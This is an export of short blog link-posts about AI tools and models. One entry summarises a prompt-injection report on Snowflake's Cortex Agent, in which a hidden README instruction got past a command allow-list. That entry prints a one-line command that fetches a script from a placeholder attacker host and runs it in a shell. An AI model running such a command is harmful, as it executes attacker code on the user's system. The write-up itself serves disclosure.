here is not a full disassembly but a collection of short snippets, potentially not even including the really interesting ones. But is it even correct?\r\n>\r\n> EmitByte here is unnecessarily pushing/popping AX, which isn't modified by the few instructions in between at all. No competent assembly language programmer would do this. So maybe against all expectations, Turbo Pascal is just really badly coded? No, it's of course a hallucination: those instructions don't appear in the binary at all! [...]\r\n>\r\n> But searching for e.g. the hex opcode B0 E8 ('mov al,0xe8') is enough to confirm that this code snippet isn't to be found *anywhere*.\r\n>\r\n> There is a lot more suspicious code, including some that couldn't possibly work (like the \"ret 1\" in the system call dispatcher, which would misalign the stack).\r\n>\r\n> Conclusion: it's slop\r\n\r\nBecause it's amusing to loop this kind of criticism through a model, I [pasted their feedback into Claude](https://claude.ai/share/a64c94eb-c623-4fd4-b101-e3e7d66c77ca) along with instructions to re-review their the code and it agreed with their assessment:\r\n\r\n> The commenter's core charge \u2014 that the annotated disassembly is \"slop\" \u2014 is substantiated. The artifact presents a mix of genuine analysis (real hex dumps, some correctly disassembled sections) and wholesale fabrication (invented assembly with plausible-sounding labels and comments for roughly half the binary). The fabricated sections look convincing to a casual reader but don't survive byte-level comparison with the actual binary.",
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quotation 2026-03-20 20:29:23+00:00
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blogmark 2026-03-18 23:56:46+00:00
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  "commentary": "Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of [Qwen3.5-397B-A17B](https://huggingface.co/Qwen/Qwen3.5-397B-A17B/tree/main) running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.\r\n\r\nQwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.\r\n\r\nDan used techniques described in Apple's 2023 paper [LLM in a flash: Efficient Large Language Model Inference with Limited Memory](https://arxiv.org/abs/2312.11514):\r\n\r\n> This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.\r\n\r\nHe fed the paper to Claude Code and used a variant of Andrej Karpathy's [autoresearch pattern](https://simonwillison.net/2026/Mar/13/liquid/) to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.\r\n\r\n[danveloper/flash-moe](https://github.com/danveloper/flash-moe) has the resulting code plus [a PDF paper](https://github.com/danveloper/flash-moe/blob/main/paper/flash_moe.pdf) mostly written by Claude Opus 4.6 describing the experiment in full.\r\n\r\nThe final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.\r\n\r\nQwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.\r\n\r\nIt's not clear to me how much the quality of the model results are affected. Claude claimed that \"Output quality at 2-bit is indistinguishable from 4-bit for these evaluations\", but the description of the evaluations it ran is quite thin.\r\n\r\n**Update**: Dan's [latest version](https://twitter.com/danveloper/status/2034686509748462022) upgrades to 4-bit quantization of the experts (209GB on disk, 4.36 tokens/second) after finding that the 2-bit version broke tool calling while 4-bit handles that well.",
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blogmark 2026-03-18 17:43:49+00:00
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  "link_url": "https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware",
  "link_title": "Snowflake Cortex AI Escapes Sandbox and Executes Malware",
  "via_url": "https://news.ycombinator.com/item?id=47427017",
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  "commentary": "PromptArmor report on a prompt injection attack chain in Snowflake's [Cortex Agent](https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-agents), now fixed.\r\n\r\nThe attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.\r\n\r\nThe attack caused the agent to execute this code:\r\n\r\n    cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))\r\n\r\nCortex listed `cat` commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.\r\n\r\nI've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.\r\n\r\nI'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.",
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quotation 2026-03-17 21:48:26+00:00
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  "source": "Ken Jin",
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quotation 2026-03-17 16:13:37+00:00
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blogmark 2026-03-16 23:41:17+00:00
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  "link_title": "Use subagents and custom agents in Codex",
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  "commentary": "Subagents were announced in general availability today for OpenAI Codex, after several weeks of preview behind a feature flag.\r\n\r\nThey're very similar to the Claude Code implementation, with default subagents for \"explorer\", \"worker\" and \"default\". It's unclear to me what the difference between \"worker\" and \"default\" is but based on their CSV example I think \"worker\" is intended for running large numbers of small tasks in parallel.\r\n\r\nCodex also lets you define custom agents as TOML files in `~/.codex/agents/`. These can have custom instructions and be assigned to use specific models - including `gpt-5.3-codex-spark` if you want [some raw speed](https://simonwillison.net/2026/Feb/12/codex-spark/). They can then be referenced by name, as demonstrated by this example prompt from the documentation:\r\n\r\n> `Investigate why the settings modal fails to save. Have browser_debugger reproduce it, code_mapper trace the responsible code path, and ui_fixer implement the smallest fix once the failure mode is clear.`\r\n\r\nThe subagents pattern is widely supported in coding agents now. Here's documentation across a number of different platforms:\r\n\r\n- [OpenAI Codex subagents](https://developers.openai.com/codex/subagents/)\r\n- [Claude Code subagents](https://code.claude.com/docs/en/sub-agents)\r\n- [Gemini CLI subagents](https://geminicli.com/docs/core/subagents/) (experimental)\r\n- [Mistral Vibe subagents](https://docs.mistral.ai/mistral-vibe/agents-skills#agent-selection)\r\n- [OpenCode agents](https://opencode.ai/docs/agents/)\r\n- [Subagents in Visual Studio Code](https://code.visualstudio.com/docs/copilot/agents/subagents)\r\n- [Cursor Subagents](https://cursor.com/docs/subagents)\r\n\r\n**Update**: I added [a chapter on Subagents](https://simonwillison.net/guides/agentic-engineering-patterns/subagents/) to my Agentic Engineering Patterns guide.",
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quotation 2026-03-16 21:38:55+00:00
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  "quotation": "Tidbit: the software-based camera indicator light in the MacBook Neo runs in the secure exclave\u00b9 part of the chip, so it is almost as secure as the hardware indicator light. What that means in practice is that even a kernel-level exploit would not be able to turn on the camera without the light appearing on screen. It runs in a privileged environment separate from the kernel and blits the light directly onto the screen hardware.",
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blogmark 2026-03-16 20:12:32+00:00
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  "link_title": "Coding agents for data analysis",
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  "commentary": "Here's the handout I prepared for my NICAR 2026 workshop \"Coding agents for data analysis\" - a three hour session aimed at data journalists demonstrating ways that tools like Claude Code and OpenAI Codex can be used to explore, analyze and clean data.\r\n\r\nHere's the table of contents:\r\n\r\n> - [Coding agents](https://simonw.github.io/nicar-2026-coding-agents/coding-agents.html)\r\n> - [Warmup: ChatGPT and Claude](https://simonw.github.io/nicar-2026-coding-agents/warmup.html)\r\n> - [Setup Claude Code and Codex](https://simonw.github.io/nicar-2026-coding-agents/setup.html)\r\n> - [Asking questions against a database](https://simonw.github.io/nicar-2026-coding-agents/asking-questions.html)\r\n> - [Exploring data with agents](https://simonw.github.io/nicar-2026-coding-agents/exploring-data.html)\r\n> - [Cleaning data: decoding neighborhood codes](https://simonw.github.io/nicar-2026-coding-agents/cleaning-trees.html)\r\n> - [Creating visualizations with agents](https://simonw.github.io/nicar-2026-coding-agents/visualizations.html)\r\n> - [Scraping data with agents](https://simonw.github.io/nicar-2026-coding-agents/scraping.html)\r\n\r\nI ran the workshop using GitHub Codespaces and OpenAI Codex, since it was easy (and inexpensive) to distribute a budget-restricted API key for Codex that attendees could use during the class. Participants ended up burning $23 of Codex tokens.\r\n\r\nThe exercises all used Python and SQLite and some of them used Datasette.\r\n\r\nOne highlight of the workshop was when we started [running Datasette](https://simonw.github.io/nicar-2026-coding-agents/visualizations.html#javascript-visualizations) such that it served static content from a `viz/` folder, then had Claude Code start vibe coding new interactive visualizations directly in that folder. Here's a heat map it created for my trees database using Leaflet and [Leaflet.heat](https://github.com/Leaflet/Leaflet.heat), [source code here](https://gist.github.com/simonw/985ae2a6a3cd3df3fd375eb58dabea0f).\r\n\r\n![Screenshot of a \"Trees SQL Map\" web application with the heading \"Trees SQL Map\" and subheading \"Run a query and render all returned points as a heat map. The default query targets roughly 200,000 trees.\" Below is an input field containing \"/trees/-/query.json\", a \"Run Query\" button, and a SQL query editor with the text \"SELECT cast(Latitude AS float) AS latitude, cast(Longitude AS float) AS longitude, CASE WHEN DBH IS NULL OR DBH = '' THEN 0.3 WHEN cast(DBH AS float) <= 0 THEN 0.3 WHEN cast(DBH AS float) >= 80 THEN 1.0\" (query is truncated). A status message reads \"Loaded 1,000 rows and plotted 1,000 points as heat map.\" Below is a Leaflet/OpenStreetMap interactive map of San Francisco showing a heat map overlay of tree locations, with blue/green clusters concentrated in areas like the Richmond District, Sunset District, and other neighborhoods. Map includes zoom controls and a \"Leaflet | \u00a9 OpenStreetMap contributors\" attribution.](https://static.simonwillison.net/static/2026/tree-sql-map.jpg)\r\n\r\nI designed the handout to also be useful for people who weren't able to attend the session in person. As is usually the case, material aimed at data journalists is equally applicable to anyone else with data to explore.",
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quotation 2026-03-14 18:41:25+00:00
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quotation 2026-03-13 17:14:29+00:00
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blogmark 2026-03-11 22:58:06+00:00
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quotation 2026-03-11 14:47:09+00:00
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quotation 2026-03-08 14:59:48+00:00
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blogmark 2026-03-07 18:13:39+00:00
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quotation 2026-03-06 21:58:33+00:00
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blogmark 2026-03-06 17:26:50+00:00
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blogmark 2026-03-05 23:56:09+00:00
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quotation 2026-03-01 11:21:45+00:00
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blogmark 2026-02-27 22:49:32+00:00
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blogmark 2026-02-27 20:43:41+00:00
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  "commentary": "Another in the genre of \"OK, coding agents got good in November\" posts, this one is by Max Woolf and is very much worth your time. He describes a sequence of coding agent projects, each more ambitious than the last - starting with simple YouTube metadata scrapers and eventually evolving to this:\r\n\r\n> It would be arrogant to port Python's [scikit-learn](https://scikit-learn.org/stable/) \u2014 the gold standard of data science and machine learning libraries \u2014 to Rust with all the features that implies.\r\n> \r\n> But that's unironically a good idea so I decided to try and do it anyways. With the use of agents, I am now developing `rustlearn` (extreme placeholder name), a Rust crate that implements not only the fast implementations of the standard machine learning algorithms such as [logistic regression](https://en.wikipedia.org/wiki/Logistic_regression) and [k-means clustering](https://en.wikipedia.org/wiki/K-means_clustering), but also includes the fast implementations of the algorithms above: the same three step pipeline I describe above still works even with the more simple algorithms to beat scikit-learn's implementations.\r\n\r\nMax also captures the frustration of trying to explain how good the models have got to an existing skeptical audience:\r\n\r\n> The real annoying thing about Opus 4.6/Codex 5.3 is that it\u2019s impossible to publicly say \u201cOpus 4.5 (and the models that came after it) are an order of magnitude better than coding LLMs released just months before it\u201d without sounding like an AI hype booster clickbaiting, but it\u2019s the counterintuitive truth to my personal frustration. I have been trying to break this damn model by giving it complex tasks that would take me months to do by myself despite my coding pedigree but Opus and Codex keep doing them correctly.\r\n\r\nA throwaway remark in this post inspired me to [ask Claude Code to build a Rust word cloud CLI tool](https://github.com/simonw/research/tree/main/rust-wordcloud#readme), which it happily did.",
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blogmark 2026-02-27 18:08:22+00:00
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  "link_url": "https://claude.com/contact-sales/claude-for-oss",
  "link_title": "Free Claude Max for (large project) open source maintainers",
  "via_url": "https://news.ycombinator.com/item?id=47178371",
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blogmark 2026-02-27 17:50:54+00:00
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blogmark 2026-02-25 21:06:53+00:00
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  "link_url": "https://github.com/tldraw/tldraw/issues/8082",
  "link_title": "tldraw issue: Move tests to closed source repo",
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  "link_url": "https://code.claude.com/docs/en/remote-control",
  "link_title": "Claude Code Remote Control",
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  "commentary": "New Claude Code feature dropped yesterday: you can now run a \"remote control\" session on your computer and then use the Claude Code for web interfaces (on web, iOS and native desktop app) to send prompts to that session.\r\n\r\nIt's a little bit janky right now. Initially when I tried it I got the error \"Remote Control is not enabled for your account. Contact your administrator.\" (but I *am* my administrator?) - then I logged out and back into the Claude Code terminal app and it started working:\r\n\r\n    claude remote-control\r\n\r\nYou can only run one session on your machine at a time. If you upgrade the Claude iOS app it then shows up as \"Remote Control Session (Mac)\" in the Code tab.\r\n\r\nIt appears not to support the `--dangerously-skip-permissions` flag (I passed that to `claude remote-control` and it didn't reject the option, but it also appeared to have no effect) - which means you have to approve every new action it takes.\r\n\r\nI also managed to get it to a state where every prompt I tried was met by an API 500 error.\r\n\r\n<p style=\"text-align: center;\"><img src=\"https://static.simonwillison.net/static/2026/vampire-remote.jpg\" alt=\"Screenshot of a &quot;Remote Control session&quot; (Mac:dev:817b) chat interface. User message: &quot;Play vampire by Olivia Rodrigo in music app&quot;. Response shows an API Error: 500 {&quot;type&quot;:&quot;error&quot;,&quot;error&quot;:{&quot;type&quot;:&quot;api_error&quot;,&quot;message&quot;:&quot;Internal server error&quot;},&quot;request_id&quot;:&quot;req_011CYVBLH9yt2ze2qehrX8nk&quot;} with a &quot;Try again&quot; button. Below, the assistant responds: &quot;I&#39;ll play &quot;Vampire&quot; by Olivia Rodrigo in the Music app using AppleScript.&quot; A Bash command panel is open showing an osascript command: osascript -e &#39;tell application &quot;Music&quot; activate set searchResults to search playlist &quot;Library&quot; for &quot;vampire Olivia Rodrigo&quot; if (count of searchResults) &gt; 0 then play item 1 of searchResults else return &quot;Song not found in library&quot; end if end tell&#39;\" style=\"max-width: 80%;\" /></p>\r\n\r\nRestarting the program on the machine also causes existing sessions to start returning mysterious API errors rather than neatly explaining that the session has terminated.\r\n\r\nI expect they'll iron out all of these issues relatively quickly. It's interesting to then contrast this to solutions like OpenClaw, where one of the big selling points is the ability to control your personal device from your phone.\r\n\r\nClaude Code still doesn't have a documented mechanism for running things on a schedule, which is the other killer feature of the Claw category of software.\r\n\r\n**Update**: I spoke too soon: also today Anthropic announced [Schedule recurring tasks in Cowork](https://support.claude.com/en/articles/13854387-schedule-recurring-tasks-in-cowork), Claude Code's [general agent sibling](https://simonwillison.net/2026/Jan/12/claude-cowork/). These do include an important limitation:\r\n\r\n> Scheduled tasks only run while your computer is awake and the Claude Desktop app is open. If your computer is asleep or the app is closed when a task is scheduled to run, Cowork will skip the task, then run it automatically once your computer wakes up or you open the desktop app again.\r\n\r\nI really hope they're working on a Cowork Cloud product.",
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quotation 2026-02-25 03:30:32+00:00
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  "quotation": "It\u2019s also reasonable for people who entered technology in the last couple of decades because it was good job, or because they enjoyed coding to look at this moment with a real feeling of loss. That feeling of loss though can be hard to understand emotionally for people my age who entered tech because we were addicted to feeling of agency it gave us. The web was objectively awful as a technology, and genuinely amazing, and nobody got into it because programming in Perl was somehow aesthetically delightful.",
  "source": "Kellan Elliott-McCrea",
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blogmark 2026-02-24 16:10:06+00:00
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  "slug": "go-size-analyzer",
  "link_url": "https://github.com/Zxilly/go-size-analyzer",
  "link_title": "go-size-analyzer",
  "via_url": "https://www.datadoghq.com/blog/engineering/agent-go-binaries/",
  "via_title": "Datadog: How we reduced the size of our Agent Go binaries by up to 77%",
  "commentary": "The Go ecosystem is *really* good at tooling. I just learned about this tool for analyzing the size of Go binaries using a pleasing treemap view of their bundled dependencies.\r\n\r\nYou can install and run the tool locally, but it's also compiled to WebAssembly and hosted at [gsa.zxilly.dev](https://gsa.zxilly.dev/) - which means you can open compiled Go binaries and analyze them directly in your browser.\r\n\r\nI tried it with a 8.1MB macOS compiled copy of my Go [Showboat](https://github.com/simonw/showboat) tool and got this:\r\n\r\n![Treemap visualization of a Go binary named \"showboat\" showing size breakdown across four major categories: \"Unknown Sections Size\" (containing __rodata __TEXT, __rodata __DATA_CONST, __data __DATA, and Debug Sections Size with __zdebug_line __DWARF, __zdebug_loc __DWARF, __zdebug_info __DWARF), \"Std Packages Size\" (showing standard library packages like runtime, net, crypto, reflect, math, os, fmt, strings, syscall, context, and many subpackages such as crypto/tls, crypto/x509, net/http, with individual .go files visible at deeper levels), \"Main Packages Size\" (showing main, showboat, cmd), and \"Generated Packages Size\" (showing <autogenerated>). A tooltip is visible over __zdebug_line __DWARF showing: Section: __zdebug_line __DWARF, Size: 404.44 KB, File Size: 404.44 KB, Known size: 0 B, Unknown size: 404.44 KB, Offset: 0x52814a \u2013 0x58d310, Address: 0x1005c014a \u2013 0x1005c5310, Memory: false, Debug: true. The treemap uses green for main/generated packages, blue-gray for unknown sections, and shades of purple/pink for standard library packages.](https://static.simonwillison.net/static/2026/showboat-treemap.jpg)",
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blogmark 2026-02-23 18:52:53+00:00
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  "link_url": "https://ladybird.org/posts/adopting-rust/",
  "link_title": "Ladybird adopts Rust, with help from AI",
  "via_url": "https://news.ycombinator.com/item?id=47120899",
  "via_title": "Hacker News",
  "commentary": "Really interesting case-study from Andreas Kling on advanced, sophisticated use of coding agents for ambitious coding projects with critical code. After a few years hoping Swift's platform support outside of the Apple ecosystem would mature they switched tracks to Rust their memory-safe language of choice, starting with an AI-assisted port of a critical library:\r\n\r\n> Our first target was **LibJS** , Ladybird's JavaScript engine. The lexer, parser, AST, and bytecode generator are relatively self-contained and have extensive test coverage through [test262](https://github.com/tc39/test262), which made them a natural starting point.\r\n>\r\n> I used [Claude Code](https://docs.anthropic.com/en/docs/claude-code) and [Codex](https://openai.com/codex/) for the translation. This was human-directed, not autonomous code generation. I decided what to port, in what order, and what the Rust code should look like. It was hundreds of small prompts, steering the agents where things needed to go. [...]\r\n>\r\n> The requirement from the start was byte-for-byte identical output from both pipelines. The result was about 25,000 lines of Rust, and the entire port took about two weeks. The same work would have taken me multiple months to do by hand. We\u2019ve verified that every AST produced by the Rust parser is identical to the C++ one, and all bytecode generated by the Rust compiler is identical to the C++ compiler\u2019s output. Zero regressions across the board.\r\n\r\nHaving an existing conformance testing suite of the quality of `test262` is a huge unlock for projects of this magnitude, and the ability to compare output with an existing trusted implementation makes agentic engineering much more of a safe bet.",
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quotation 2026-02-23 13:01:13+00:00
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blogmark 2026-02-22 23:58:43+00:00
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blogmark 2026-02-22 23:54:39+00:00
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blogmark 2026-02-22 15:53:43+00:00
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blogmark 2026-02-21 00:37:45+00:00
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blogmark 2026-02-20 22:10:04+00:00
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  "link_title": "Taalas serves Llama 3.1 8B at 17,000 tokens/second",
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  "commentary": "This new Canadian hardware startup just announced their first product - a custom hardware implementation of the Llama 3.1 8B model (from [July 2024](https://simonwillison.net/2024/Jul/23/introducing-llama-31/)) that can run at a staggering 17,000 tokens/second.\r\n\r\nI was going to include a video of their demo but it's so fast it would look more like a screenshot. You can try it out at [chatjimmy.ai](https://chatjimmy.ai).\r\n\r\nThey describe their Silicon Llama as \u201caggressively quantized, combining 3-bit and 6-bit parameters.\u201d Their next generation will use 4-bit - presumably they have quite a long lead time for baking out new models!",
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blogmark 2026-02-20 17:12:55+00:00
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  "link_url": "https://github.com/ggml-org/llama.cpp/discussions/19759",
  "link_title": "ggml.ai joins Hugging Face to ensure the long-term progress of Local AI",
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  "commentary": "I don't normally cover acquisition news like this, but I have some thoughts.\r\n\r\nIt's hard to overstate the impact Georgi Gerganov has had on the local model space. Back in March 2023 his release of [llama.cpp](https://github.com/ggml-org/llama.cpp) made it possible to run a local LLM on consumer hardware. The [original README](https://github.com/ggml-org/llama.cpp/blob/775328064e69db1ebd7e19ccb59d2a7fa6142470/README.md?plain=1#L7) said:\r\n\r\n> The main goal is to run the model using 4-bit quantization on a MacBook. [...] This was hacked in an evening - I have no idea if it works correctly.\r\n\r\nI wrote about trying llama.cpp out at the time in [Large language models are having their Stable Diffusion moment](https://simonwillison.net/2023/Mar/11/llama/#llama-cpp):\r\n\r\n> I used it to run the 7B LLaMA model on my laptop last night, and then this morning upgraded to the 13B model\u2014the one that Facebook claim is competitive with GPT-3.\r\n\r\nMeta's [original LLaMA release](https://github.com/meta-llama/llama/tree/llama_v1) depended on PyTorch and their [FairScale](https://github.com/facebookresearch/fairscale) PyTorch extension for running on multiple GPUs, and required CUDA and NVIDIA hardware. Georgi's work opened that up to a much wider range of hardware and kicked off the local model movement that has continued to grow since then.\r\n\r\nHugging Face are already responsible for the incredibly influential [Transformers](https://github.com/huggingface/transformers) library used by the majority of LLM releases today. They've proven themselves a good steward for that open source project, which makes me optimistic for the future of llama.cpp and related projects.\r\n\r\nThis section from the announcement looks particularly promising:\r\n\r\n> Going forward, our joint efforts will be geared towards the following objectives:\r\n>\r\n> - Towards seamless \"single-click\" integration with the [transformers](https://github.com/huggingface/transformers) library. The `transformers` framework has established itself as the 'source of truth' for AI model definitions. Improving the compatibility between the transformers and the ggml ecosystems is essential for wider model support and quality control.\r\n> - Better packaging and user experience of ggml-based software. As we enter the phase in which local inference becomes a meaningful and competitive alternative to cloud inference, it is crucial to improve and simplify the way in which casual users deploy and access local models. We will work towards making llama.cpp ubiquitous and readily available everywhere, and continue partnering with great downstream projects.\r\n\r\nGiven the influence of Transformers, this closer integration could lead to model releases that are compatible with the GGML ecosystem out of the box. That would be a big win for the local model ecosystem.\r\n\r\nI'm also excited to see investment in \"packaging and user experience of ggml-based software\". This has mostly been left to tools like [Ollama](https://ollama.com) and [LM Studio](https://lmstudio.ai). ggml-org released [LlamaBarn](https://github.com/ggml-org/LlamaBarn) last year - \"a macOS menu bar app for running local LLMs\" - and I'm hopeful that further investment in this area will result in more high quality open source tools for running local models from the team best placed to deliver them.",
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The background features a light blue sky with a yellow sun, white clouds, and green hills.](https://static.simonwillison.net/static/2026/gemini-3.1-pro-pelican.png)\r\n\r\nIt's good to see the legs clearly depicted on both sides of the frame (should [satisfy Elon](https://twitter.com/elonmusk/status/2023833496804839808)), the fish in the basket is a nice touch and I appreciated this comment in [the SVG code](https://gist.github.com/simonw/03a755865021739a3659943a22c125ba#response):\r\n\r\n    <!-- Black Flight Feathers on Wing Tip -->\r\n    <path d=\"M 420 175 C 440 182, 460 187, 470 190 C 450 210, 430 208, 410 198 Z\" fill=\"#374151\" />\r\n\r\nI've [added](https://github.com/simonw/llm-gemini/issues/121) the two new model IDs `gemini-3.1-pro-preview` and `gemini-3.1-pro-preview-customtools` to my [llm-gemini plugin](https://github.com/simonw/llm-gemini) for [LLM](https://llm.datasette.io/). That \"custom tools\" one is [described here](https://ai.google.dev/gemini-api/docs/models/gemini-3.1-pro-preview#gemini-31-pro-preview-customtools) - apparently it may provide better tool performance than the default model in some situations.\r\n\r\nThe model appears to be *incredibly* slow right now - it took 104s to respond to a simple \"hi\" and a few of my other tests met \"Error: This model is currently experiencing high demand. Spikes in demand are usually temporary. Please try again later.\" or \"Error: Deadline expired before operation could complete\" errors. I'm assuming that's just teething problems on launch day.\r\n\r\nIt sounds like last week's [Deep Think release](https://simonwillison.net/2026/Feb/12/gemini-3-deep-think/) was our first exposure to the 3.1 family:\r\n\r\n> Last week, we released a major update to Gemini 3 Deep Think to solve modern challenges across science, research and engineering. Today, we\u2019re releasing the upgraded core intelligence that makes those breakthroughs possible: Gemini 3.1 Pro.\r\n\r\n**Update**: In [What happens if AI labs train for pelicans riding bicycles?](https://simonwillison.net/2025/nov/13/training-for-pelicans-riding-bicycles/) last November I said:\r\n\r\n> If a model finally comes out that produces an excellent SVG of a pelican riding a bicycle you can bet I\u2019m going to test it on all manner of creatures riding all sorts of transportation devices.\r\n\r\nGoogle's Gemini Lead Jeff Dean [tweeted this video](https://x.com/JeffDean/status/2024525132266688757) featuring an animated pelican riding a bicycle, plus a frog on a penny-farthing and a giraffe driving a tiny car and an ostrich on roller skates and a turtle kickflipping a skateboard and a dachshund driving a stretch limousine.\r\n\r\n<video style=\"margin-bottom: 1em\" poster=\"https://static.simonwillison.net/static/2026/gemini-animated-pelicans.jpg\" muted controls preload=\"none\" style=\"max-width: 100%\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/gemini-animated-pelicans.mp4\" type=\"video/mp4\">\r\n</video>\r\n\r\nI've been saying for a while that I wish AI labs would highlight things that their new models can do that their older models could not, so top marks to the Gemini team for this video.\r\n\r\n**Update 2**: I used `llm-gemini` to run my [more detailed Pelican prompt](https://simonwillison.net/2025/Nov/18/gemini-3/#and-a-new-pelican-benchmark), with [this result](https://gist.github.com/simonw/a3bdd4ec9476ba9e9ba7aa61b46d8296):\r\n\r\n![Flat-style illustration of a brown pelican riding a teal bicycle with dark blue-rimmed wheels against a plain white background. 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  "link_title": "SWE-bench February 2026 leaderboard update",
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Verified is a manually curated subset of 500 samples [described here](https://openai.com/index/introducing-swe-bench-verified/), funded by OpenAI. Here's [SWE-bench Verified](https://huggingface.co/datasets/princeton-nlp/SWE-bench_Verified) on Hugging Face - since it's just 2.1MB of Parquet it's easy to browse [using Datasette Lite](https://lite.datasette.io/?parquet=https%3A%2F%2Fhuggingface.co%2Fdatasets%2Fprinceton-nlp%2FSWE-bench_Verified%2Fresolve%2Fmain%2Fdata%2Ftest-00000-of-00001.parquet#/data/test-00000-of-00001?_facet=repo), which cuts those numbers down to django/django (231), sympy/sympy (75), sphinx-doc/sphinx (44), matplotlib/matplotlib (34), scikit-learn/scikit-learn (32), astropy/astropy (22), pydata/xarray (22), pytest-dev/pytest (19), pylint-dev/pylint (10), psf/requests (8), mwaskom/seaborn (2), pallets/flask (1)*.\r\n\r\nHere's how the top ten models performed:\r\n\r\n![Bar chart showing \"% Resolved\" by \"Model\". Bars in descending order: Claude 4.5 Opus (high reasoning) 76.8%, Gemini 3 Flash (high reasoning) 75.8%, MiniMax M2.5 (high reasoning) 75.8%, Claude Opus 4.6 75.6%, GLM-5 (high reasoning) 72.8%, GPT-5.2 (high reasoning) 72.8%, Claude 4.5 Sonnet (high reasoning) 72.8%, Kimi K2.5 (high reasoning) 71.4%, DeepSeek V3.2 (high reasoning) 70.8%, Claude 4.5 Haiku (high reasoning) 70.0%, and a partially visible final bar at 66.6%.](https://static.simonwillison.net/static/2026/swbench-feb-2026.jpg)\r\n\r\nIt's interesting to see Claude Opus 4.5 beat Opus 4.6, though only by about a percentage point. 4.5 Opus is top, then Gemini 3 Flash, then MiniMax M2.5 - a 229B model released [last week](https://www.minimax.io/news/minimax-m25) by Chinese lab MiniMax. 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Now let me carefully add the labels using an inline plugin on the chart instance to avoid the recursion issue.\" A collapsed \"Browser_evaluate\" section shows a browser_evaluate tool call with JavaScript code using Chart.js canvas context to draw percentage labels on bars: meta.data.forEach((bar, index) => { const value = dataset.data[index]; if (value !== undefined && value !== null) { ctx.save(); ctx.textAlign = 'center'; ctx.textBaseline = 'bottom'; ctx.fillStyle = '#333'; ctx.font = 'bold 12px sans-serif'; ctx.fillText(value.toFixed(1) + '%', bar.x, bar.y - 5); A pending step reads \"Let me take a screenshot to see if it worked.\" followed by a completed \"Done\" step, and the message \"Let me take a screenshot to check the result.\"](https://static.simonwillison.net/static/2026/claude-chrome-draw-on-chart.jpg)\r\n\r\n**Update**: If you look at the transcript Claude claims to have switched to Playwright, which is confusing because I didn't think I had that configured.",
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blogmark 2026-02-17 23:58:58+00:00
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  "link_url": "https://www.anthropic.com/news/claude-sonnet-4-6",
  "link_title": "Introducing Claude Sonnet 4.6",
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  "commentary": "Sonnet 4.6 is out today, and Anthropic claim it offers similar performance to [November's Opus 4.5](https://simonwillison.net/2025/Nov/24/claude-opus/) while maintaining the Sonnet pricing of $3/million input and $15/million output tokens (the Opus models are $5/$25). Here's [the system card PDF](https://www-cdn.anthropic.com/78073f739564e986ff3e28522761a7a0b4484f84.pdf).\r\n\r\nSonnet 4.6 has a \"reliable knowledge cutoff\" of August 2025, compared to Opus 4.6's May 2025 and Haiku 4.5's February 2025. Both Opus and Sonnet default to 200,000 max input tokens but can stretch to 1 million in beta and at a higher cost.\r\n\r\nI just released [llm-anthropic 0.24](https://github.com/simonw/llm-anthropic/releases/tag/0.24) with support for both Sonnet 4.6 and Opus 4.6. Claude Code [did most of the work](https://github.com/simonw/llm-anthropic/pull/65) - the new models had a fiddly amount of extra details around adaptive thinking and no longer supporting prefixes, as described [in Anthropic's migration guide](https://platform.claude.com/docs/en/about-claude/models/migration-guide).\r\n\r\nHere's [what I got](https://gist.github.com/simonw/b185576a95e9321b441f0a4dfc0e297c) from:\r\n\r\n    uvx --with llm-anthropic llm 'Generate an SVG of a pelican riding a bicycle' -m claude-sonnet-4.6\r\n\r\n![The pelican has a jaunty top hat with a red band. There is a string between the upper and lower beaks for some reason. The bicycle frame is warped in the wrong way.](https://static.simonwillison.net/static/2026/pelican-sonnet-4.6.png)\r\n\r\nThe SVG comments include:\r\n\r\n    <!-- Hat (fun accessory) -->\r\n\r\nI tried a second time and also got a top hat. Sonnet 4.6 apparently loves top hats!\r\n\r\nFor comparison, here's the pelican Opus 4.5 drew me [in November]((https://simonwillison.net/2025/Nov/24/claude-opus/)):\r\n\r\n![The pelican is cute and looks pretty good. The bicycle is not great - the frame is wrong and the pelican is facing backwards when the handlebars appear to be forwards.There is also something that looks a bit like an egg on the handlebars.](https://static.simonwillison.net/static/2025/claude-opus-4.5-pelican.jpg)\r\n\r\nAnd here's Anthropic's current best pelican, drawn by Opus 4.6 [on February 5th](https://simonwillison.net/2026/Feb/5/two-new-models/):\r\n\r\n![Slightly wonky bicycle frame but an excellent pelican, very clear beak and pouch, nice feathers.](https://static.simonwillison.net/static/2026/opus-4.6-pelican.png)\r\n\r\nOpus 4.6 produces the best pelican beak/pouch. I do think the top hat from Sonnet 4.6 is a nice touch though.",
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blogmark 2026-02-17 23:02:33+00:00
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blogmark 2026-02-17 16:38:49+00:00
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  "link_url": "https://claude.com/blog/improved-web-search-with-dynamic-filtering",
  "link_title": "Increase web search accuracy and efficiency with dynamic filtering",
